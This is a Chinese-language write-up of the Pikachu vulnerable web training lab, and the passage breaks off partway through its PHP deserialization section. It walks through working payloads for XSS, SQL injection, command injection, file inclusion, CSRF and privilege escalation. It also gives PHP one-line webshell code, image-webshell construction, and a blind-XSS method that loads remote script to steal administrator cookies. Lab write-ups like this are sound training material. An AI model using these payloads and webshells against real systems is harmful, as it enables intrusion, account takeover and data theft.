Pikachu靶场通关记录
0x01 靶场介绍
Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。
0x02 漏洞类型
-
Burt Force(暴力破解漏洞)
-
XSS(跨站脚本漏洞)
-
CSRF(跨站请求伪造)
-
SQL-Inject(SQL注入漏洞)
-
RCE(远程命令/代码执行)
-
Files Inclusion(文件包含漏洞)
-
Unsafe file downloads(不安全的文件下载)
-
Unsafe file uploads(不安全的文件上传)
-
Over Permisson(越权漏洞)
-
…/…/…/(目录遍历)
-
I can see your ABC(敏感信息泄露)
-
PHP反序列化漏洞
-
XXE(XML External Entity attack)
-
不安全的URL重定向
-
SSRF(Server-Side Request Forgery)
0x03 WriteUP
暴力破解
“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:
1.是否要求用户设置复杂的密码;
2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否采用了双因素认证;
…等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!
基于表单的暴力破解
开启burp抓包,输入admin和任意密码点击登录,将请求包发送至Intruder模块中
加载密码字典
爆破成功,用户名admin
密码123456
验证码绕过(on server)
这一关需要设置下burp的MIME type过滤器,将Images
勾选上
在HTTP History 中可以看到以下请求,每次刷新验证码时会向服务端发送请求,响应包中Set-Cookie会将新的验证码返回到前端,我们可以利用这个逻辑漏洞进行暴力破解
http://192.168.0.109/inc/showvcode.php
此时前端显示的验证码确定就是响应包中返回来的值
要利用这个逻辑漏洞需要使用burp上的Macros
功能,菜单路径如下:
Project options → Sessions → Macros
点击Add,选中验证码刷新的请求包,点击OK
点击Configure item
输入参数名vcode
(注意此处的参数名必须要与进行替换的请求包中的参数名相同),然后使用鼠标选中Set-Cookie中的验证码,点击OK
然后点击Session Handling Rules
功能的Add,设置Macro的生效范围
此处可以只设置Intruder为生效范围,然后添加URL Scope设置仅对指定的URL应用Macros规则
设置好之后,同样的将登陆请求包发送至Intruder模块,设置密码字典进行爆破,此时通过Intruder模块发送出去的每个请求包的vcode
值都会自动刷新获取并带入到请求包中
爆破成功,用户名admin
密码123456
如果爆破失败 请重新抓取登录请求包发送到Intruder模块进行爆破
本关测试结束后记得将该Session规则关闭
验证码绕过(on client)
本关的验证码是前端JS生成,且仅在前端进行校验,只需要输入一次正确的验证码抓到请求包后将验证码删除即可重复发送登陆请求进行爆破
将验证码参数设置为空发送请求依然能进行账号密码校验,服务端正常返回信息
接下来还是老规则将请求包发送到Intruder模块中进行爆破即可
token防爆破?
第一种方式:利用Macros
本关在登录时加入了CSRF token机制,Token保存在该页面的前端代码中,本关的利用方式与验证码绕过(on server)的相同,使用Macros获取前端页面的token值然后带入到之后的登录请求包中即可完成暴力破解
新建一个Macros宏
设置会话处理规则(Session Handling Rules)
然后将登陆请求包发送至Intruder模块中加载密码字典进行爆破即可
第二种方式:利用Intruder的recursive grep
将请求包发送至Intruder模块,由于现在需要同时爆破password和token字段,所以我们此处的Attack type
攻击模式要设置成Pitchfork
payload设置:
payload 1直接加载密码字典
payload 2需要设置递归搜索(token)
recursive grep,就是从上一次的响应结果中,取得部分特定内容作为下次请求的Payload的模式
按照提示在Options → Grep - Extract处设置递归选取的内容:
另外涉及递归与重定向,线程数设置为1,重定向选项设置为always
老版本的burp线程设置方式如下
然后回到payload页面点击开始爆破即可
XSS (Cross-Site Scripting)
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
反射型xss(get)
输入123 并查看前端代码,123加载到了p标签中
尝试直接插入xss payload,由于是Get的请求方式并且文本框设置了maxlength
(文本最大长度限制),所以我们可以在URL中直接插入xss payload触发漏洞,以下payload均可触发:
<script>alert(/1/)</script>
<details+open+ontoggle=prompt(1)>
<svg/onload=confirm(1)>
...
查看前端代码,xss payload被插入到了p标签当中
反射性xss(post)
本关需要先输入账号密码登陆
用户名admin
密码 123456
登录成功后在文本框中输入123点击submit,页面仍会将123显示到前端页面中,只是请求方式变成了POST
接下来开启burp抓包,然后输入123点击submit,然后将请求包的message修改为xss的payload并放包
查看前端代码,xss payload被插入p标签中
存储型xss
存储型xss顾名思义也就是我们输入的内容会被存储到数据库中,当用户访问时页面会将数据库的查询结果显示到页面上
同样的本关可以直接在多行文本框中输入xss payload点击submit提交即可触发xss
<svg/οnlοad=confirm(1)>
DOM型xss
DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情,无法通过WAF防护。
js中,从url中获得参数并将其作为js执行,就有可能导致DOM XSS
本关我们输入123后,点击click me下面显示出来what do you see?,我们查看前端代码发现123直接赋值给了a标签的href,这就导致了xss漏洞产生
此时我们可以直接使用以下payload触发xss
javascript:alert(1)
提交之后鼠标点击a链接即可触发xss
DOM型xss-x
本关使用的payload与上一关相同
javascript:alert(1)
查看前端代码
xss之盲打
XSS盲打不是一种漏洞类型而是一种xss漏洞的利用方式,攻击者可以在网站留言板、反馈建议等功能点提交恶意的xss payload,如果该网站存在xss漏洞,当管理员在后台查看用户留言页面时就会执行xss payload,xss盲打最主要的目的是通过加载外部的恶意js文件(通过xss盲打平台生成)获取管理员后台的Cookie信息,攻击者就可以使用管理员的身份访问网站后台从而进一步发动攻击
首先将xss payload填入文本框并提交
点击右上角的提示信息,获取到管理后台的地址/vul/xss/xssblind/admin_login.php
输入账号密码进行登录 admin 123456
查看前端代码,刚刚提交的xss payload被插入到td标签中执行了
接下来演示下使用xss盲打平台生成恶意的js进行远程加载获取管理员的cookie信息
本次使用的xss盲打平台:http://xsscom.com/
注册好账号后 点击创建项目,输入任意项目名称点击下一步
根据实际情况进行勾选即可,这里我勾选默认模块、xss.js,然后点击下一步
在项目代码中可以复制下方的payload直接插入使用
提交之后我们再去以管理员身份去访问下用户反馈的意见列表
查看此处的前端代码,可以看到xss盲打平台的js文件已经被加载了
现在我们可以回到xss盲打平台查看接收到的信息,可以看到已经获取到了后台的URL和用户的Cookie等信息,此时攻击者就可以直接替换Cookie信息去访问管理后台了,这就是完整的xss盲打的利用流程
xss之过滤
本关已经明确有过滤存在了,现在我来直接来黑盒测试下它的过滤规则是怎样的
首先输入<>
发现可以正常打印出来,没有被过滤
然后输入<script>
再次提交,发现只剩下了右括号,其余内容都被过滤掉了
判断对<script
进行匹配如果发现存在则直接变为空
此时我们可以尝试使用双写关键词的方式进行绕过<scrscriptipt>
发现无法绕过
再尝试使用关键词大小写的方式进行绕过<ScRiPt>
,发现插入成功,也就是绕过了它的过滤机制
接下来就编写xss payload <ScRiPt>alert(1)</ScRiPt>
,提交之后即可触发
xss之htmlspecialchars
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
预定义的字符是:
&(和号) 成为&
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
htmlspecialchars默认不对'
进行处理,所以此处我们的payload可以设置为123' onclick='alert(1)'
xss之href输出
本关可以直接使用javascript:alert(1)
进行触发,payload被加载到a标签的href属性中,点击即可触发
xss之js输出
根据提示信息输入tmac即可加载出相关球星的照片
接下来查看网页源代码,发现是通过$ms传递参数,我们可以尝试进行闭合并触发xss
输入payloadtmac';alert(1);//
即可触发
CSRF
CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。这里列举一个场景解释一下,希望能够帮助你理解。场景需求: 小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。先看下大白是如何修改自己的密码的: 登录—修改会员信息,提交请求—修改成功。所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点: 1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;—因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;—如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。—因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。—所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
–对敏感信息的操作增加安全的token;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
如果你没有读太明白,不要犹豫,请再读一遍啦
CSRF(get)
提示:这里一共有这么些用户vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456
这里我们使用vince登录后,页面显示了用户的个人信息,下方有一个修改个人信息
点击之后打开了修改个人信息页面,我们将手机号修改为18888888888
,开启burp抓包并点击submit按钮
此时我们使用burp直接生成CSRF Poc代码,右键请求包 → Engagement tools → Generate CSRF PoC
点击 Test in browser
复制弹出的URL链接,在浏览器中打开
现在先不要点击Submit request按钮
然后将当前请求包Drop掉,关闭burp拦截
重新访问漏洞页面,由于我们刚才drop掉了请求包,所以现在的手机号与刚才是相同的没有被修改
http://192.168.0.103/vul/csrf/csrfget/csrf_get_edit.php
现在我们去点击burp生成的CSRF Poc页面中的submit按钮
点击之后页面跳转至个人信息页面,并且手机号已经发生了改变,正常情况下这个CSRF Poc的页面是攻击者生成的,然后发送给受害者进行点击,然后攻击者就可以使用受害者的合法的身份去访问网站(比如修改密码、修改个人信息等)。
CSRF(post)
本关的漏洞利用方式与上一关相同,只是请求方式发生了改变,此处不再赘述
CSRF Token
修改个人信息时发现会携带token一起发送,并且会在当前页面的前端代码中生成新的token值
构造一般的PoC肯定不行,本关需要使用burp的插件 CSRF Token Tracker,在Extender里面下载:
CSRF Token Tracker 可以自动获取 csrf 的 token,对于一些有 csrf 限制的请求,它可以绕过该限制,如暴力破解具有 csrf token 的登录请求,在渗透测试过程中CSRF Token的自动更新。
这里代表token的变量名字就叫token,在插件中添加一条规则:
将上文的数据包发送到Repeater,将手机号修改为13333333333发送数据包,查看能否修改
发送请求包后页面出现重定向按钮,我们点击follow跟随跳转
此时响应包中的手机号已经修改成功了
SQL-Inject
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
本章节不再详细描述SQL注入的过程,如果想深入学习sql注入漏洞,可以参考sqli-labs的那篇文章
数字型注入
使用burp开启抓包,选择1点击查询按钮,响应包中出现了mysql报错信息
直接使用报错注入的payload即可
id=1 正常显示
id=1' 提示mysql报错
id=1 and 1=1 页面显示正常
id=1 and 1=2 页面显示错误
判断为mysql数据库的数字型注入点
使用以下payload获取数据库名称:
1+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)+--+
字符型注入
本关也是同样的 首先判断是字符型还是数字型,然后获取数据库名称
name=123 页面显示正常
name=123' mysql报错提示
name=123'' 页面显示正常,判断为字符型注入
name=123' order by 3 --+ 判断查询字段有2列
name=123' union select 1,2 --+ 页面显示结果uid为1,email为2
name=123' union select database(),version() --+ 使用union联合注入获取数据库名和数据库版本信息
页面显示结果uid为1,email为2
使用union联合注入获取数据库名和数据库版本信息
搜索型注入
加入单引号后出现了报错,并且根据报错信息我们推断此处代码闭合方式为%username%
所以此处我们需要在单引号前加入%来闭合 (此处闭不闭合%其实都能注入成功)
123' 页面报错
123%'' 页面不报错
123%' order by 4 --+ 页面提示没有4列,所以此处查询的sql有3列
123%' union select 1,2,3 --+ 判断显示位,此处3列都能显示
123%' union select database(),version(),user() --+ 获取当前数据库名称、版本信息、用户信息
xx型注入
123' 提示mysql报错信息
123' order by 1 --+ 还是报错,根据报错信息判断123后面应该有个右括号需要闭合一下
123') order by 3 --+ 执行成功,判断查询的内容有2列
123') union select database(),version() --+ 使用union联合查询获取数据库名称和版本信息
insert/update 注入
注意:此类型注入在实际测试中尽量不要使用,操作不当可能会导致数据库插入大量脏数据!!!
首先在注册功能点输入任意内容,并在最后一个参数后面加入单引号,发现出现了sql语句报错,注意 这种insert/update类型的sql在进行注入时尽量在最后一个参数插入payload进行注入,这样可以更容易闭合sql语句完成注入,像本关的这个insert语句我们直接就在住址(Add)
这个参数进行注入,闭合前面的sql只需要加入'$payload)
(前后分别加入单引号和右括号)
本关的SQL语句:
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')
接下来获取数据库信息,使用以下payload
'+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1))+--+
获取数据库版本信息
'+and+updatexml(1,concat(0x7e,(select+version()),0x7e),1))+--+
然后尝试使用刚注册的123账号进行登录,可以登录成功
delete注入
添加任意语句并点击删除按钮,使用burp进行抓包
将该请求发送至repeater模块中进行测试,给参数id添加单引号,发现响应包会出现sql报错
本关的sql语句,由于id为数字所以在注入时无需使用单引号进行闭合
if(array_key_exists(**'id'**, $_GET)){
$query = "delete from message where id = {$$_GET['id']}";
...}
本关还是使用报错注入的payload,如下所示
59+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)
http header 注入
输入账号密码admin
123456
点击登录
登录后可以看到header的ua和accept等信息被展示出来了,此处我们可以尝试去注入
本关的sql语句如下:直接获取前端过来的头信息,没有任何处理就存储到数据库中了
接下来我们尝试进行注入,在user agent内容后加入单引号发现报错,路径如下
/vul/sqli/sqli_header/sqli_header.php
使用以下payload获取数据库信息
1'and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)+--+'
盲注(base on boolian)
布尔盲注就是猜测,根据页面返回的true和flase猜数据库总数,猜数据库长度,猜数据库名字,猜数据库长度,猜数据库内容,然后就是猜表和字段。盲注最快的方法就是用工具跑。
输入123
可以查到该用户存在并返回uid和email,输入1
则提示用不存在,判断此处可能存在布尔盲注
使用以下payload进行注入,使用以下sql payload根据页面返回的信息(用户存在/不存在,即true/false)来判断数据库名的长度,注意此处的123
用户为真实存在的,如果使用不存在的用户使用此payload无法获得正确的结果
123'and length(database())=7%23
URL解码后:
'and length(database())=7#
# 注意最后的#必须使用URL编码
当长度等于6时,页面提示username不存在
当长度等于7时,页面显示了用户的uid和email,所以判断数据库名的长度为7
接下来使用burp爆破完整数据库名称,使用以下payload
123' and substr(database(),1,1)='a' --+
设置长度1-10
设置要爆破的字符a-z
和_
然后点击右上角的开始攻击,按照顺序拼写得到pikachu
盲注(base on time)
本关的sql语句:
输入任意内容点击查询都会提示i don't care who you are!
所以我们这里可以通过时间盲注进行测试,根据返回包的响应时间判断注入的sql语句有没有被执行,使用以下payload判断是否存在时间盲注
# 当数据库名称的长度大于1时,则执行sleep(6)休眠6秒返回结果
' and if(length(database())>1,sleep(6),1) --+
未插入payload时响应时间为11毫秒
插入payload且条件成立的情况下响应时间为20秒(延迟了输入时间的1倍),证明此处存在时间盲注
接下来判断长度,当length大于6时执行了延迟(true),而当length大于7时直接返回了结果没有执行延迟(false),这就证明数据库名的长度等于7
接下来进行爆破数据库名称
'+and+if(substr(database(),1,1)='p',sleep(3),1)+--+
本关的爆破方式与布尔盲注相同,将请求包发送至Intruder模块进行爆破即可,当执行结果为true时也会进行sleep延时
宽字节注入(wide byte注入)
宽字节注入是通过编码绕过后端代码的防御措施,列如正则过滤和转义函数转义。
客户端采用GBK编码格式,数据库对用户输入进行转义\
,转移符\
的编码为%5c,添加编码%df,组成%df%5c,此时编码表达为繁体字連,从而绕过转义符让'
逃逸。
使用以下payload进行sql注入,判断存在宽字节注入
kobe%df'+or+1=1+--+
接下来使用order by判断sql中查询的列数
kobe%df%27+order+by+2+--+ 页面未报错
kobe%df%27+order+by+3+--+ 页面报错,判断有2列
接下来使用union联合查询获取数据库名和版本号
kobe%df%27+union+select+database(),version()+--+
RCE
RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"- _-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
exec “ping”
本关代码:直接将变量拼接进来,没做处理
我们先输入127.0.0.1然后ping一下试试,可以正常返回ping命令的结果
接下来进行漏洞利用,尝试拼接命令
127.0.0.1&&whoami
127.0.0.1&&dir
exec “eval”
本关代码分析:这里直接用eval执行了post传递过来的txt的值
本关有多种利用方式,比如直接输入phpinfo();
本关的代码其实就是个一句话木马了eval($_POST['txt']
,我们甚至可以直接使用蚁剑进行连接:),配置如下:
File Inclusion
File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞: 仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞: 能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
File Inclusion(local)
由于搭建本靶场使用的是Windows系统,所以本关可以利用本地文件包含漏洞包含一些Windows系统中的敏感文件,比如hosts
文件,直接将URL中的filename的值修改为以下路径即可
..\..\..\..\..\..\windows\system32\drivers\etc\hosts
File Inclusion(remote)
allow_url_include = Off 是否允许include/require打开URL(如http://或ftp://)作为文件处理。
注意:从PHP5.2
开始allow_url_include
就默认为Off
了
这里我们需要修改下php.ini配置文件,保存后重启Apache服务
再次访问已经正常了
由于本关是远程文件包含,所以这里我们需要准备一台攻击机,在这台攻击机上创建以下php文件
<?php phpinfo();?>
然后使用python启动http服务
python3 -m http.server 8080
此时将攻击机php文件的URL粘贴到filename的参数中,访问后成功显示了phpinfo的页面
filename=http://192.168.0.106:8080/a.php
Unsafe Filedownload
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如…/…/…/etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
根据提示信息已知点击球员名字即可下载头像图片
这里可以使用burp看下下载的请求包内容,此处传入了图片的文件名然后进行下载
本关我们仍然可以将filename设置为hosts文件的路径,然后进行下载
..\..\..\..\..\..\windows\system32\drivers\etc\hosts
Unsafe Fileupload
不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
–验证文件类型、后缀名、大小;
–验证文件的上传方式;
–对文件进行一定复杂的重命名;
–不要暴露文件上传后的路径;
–等等…
client check
本关由于是前端校验,所以可以直接右键查看网页源代码中js的判断逻辑
本关有两种方式进行绕过:
第一种是直接使用网页插件禁用JS然后进行上传
比如 Chrome浏览器的Quick Javascript Switcher
插件,关闭JS后
点击选择文件,这里我们直接上传php一句话木马
<?php @eval($_POST[a]);?>
然后使用蚁剑进行连接
/vul/unsafeupload/uploads/a.php
第二种先上传个正常的图片文件然后开启burp抓包修改内容和后缀完成上传,这里就不做演示了。
MIME type
本关检测了MIME type文件上传类型,本关只需要将上传请求的Conten-Type改为图片类型即可完成上传
首先上传了一张图片,可以看到Conten-Type为image/png
然后将该请求包发送至Repeater模块中 将内容修改为一句话木马,将文件后缀改为php然后发送请求
使用蚁剑进行连接
getimagesize
PHP中的getimagesize()函数是一个内置函数,用于获取图像的大小。Getimagesize()返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。
本关需要上图片马并且需要配合本地文件包含漏洞来进行利用
图片马制作:
方法1:直接伪造头部GIF89A
方法2:CMD:copy /b c.png + a.php test.png Linux/Mac:cat a.php >> c.png
方法3:使用GIMP(开源的图片修改软件),通过增加备注,写入执行命令
制作成功的图片马:
然后将该图片上传到服务器
图片保存的路径:unsafeupload/uploads/2022/10/30/830731635e401cf26d1112088349.png
然后需要利用本地文件包含漏洞进行漏洞利用
http://192.168.0.103/vul/fileinclude/fi_local.php?filename=..\..\unsafeupload\uploads\2022\10\30\830731635e401cf26d1112088349.png&submit=%E6%8F%90%E4%BA%A4
然后使用蚁剑进行连接
Over Permission
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;
水平越权
点击右上角提示得到如下三个账号
lucy/123456
lili/123456
kobe/123456
登录lucy
账号,点击查看个人信息
此处将url中的username参数修改为lili
,此时页面显示的个人信息就变成了该用户的信息,实现了平行越权。
http://192.168.0.103/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
垂直越权
根据提示得知,本关有两个用户admin/123456
,pikachu/000000
,其中admin是超级boss权限
首先分别登录admin和pikachu对比两个用户的权限差异,发现admin管理员比pikachu用户多了添加用户、删除用户的权限
pikachu用户登录后的界面:
admin用户登录后的界面:
使用admin用户进行登录,访问添加用户界面,获得以下URL,然后点击退出登录
/vul/overpermission/op2/op2_admin_edit.php
接下来使用pikachu用户登录系统
登录之后直接将刚刚得到的添加用户的URL粘贴到地址栏进行访问,发现可以正常访问
接下来尝试新建个账号kk/123456
创建成功后登录管理员账号查看用户列表,发现已经添加成功了,此处就利用了垂直越权的漏洞创建了新用户。
…/…/
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“…/”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在"i can see you ABC"中了解更多)
目录遍历
本关在点击a链接后页面回将该文件的内容显示在页面中
本关我们也可以去包含hosts文件,如果靶场为linux系统则可以去包含/etc/passwd、/etc/shadow
等文件
..\..\..\..\..\..\windows\system32\drivers\etc\hosts
敏感信息泄露
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
—通过访问url下的目录,可以直接列出目录下的文件列表;
—输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
—前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
IcanseeyourABC
尝试admin/123456进行登录提示账号不正确,之后审计前端代码发现注释中包含测试账号的信息
<!-- 测试账号:lili/123456-->
使用测试账号进行登录,登录成功
PHP反序列化
在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
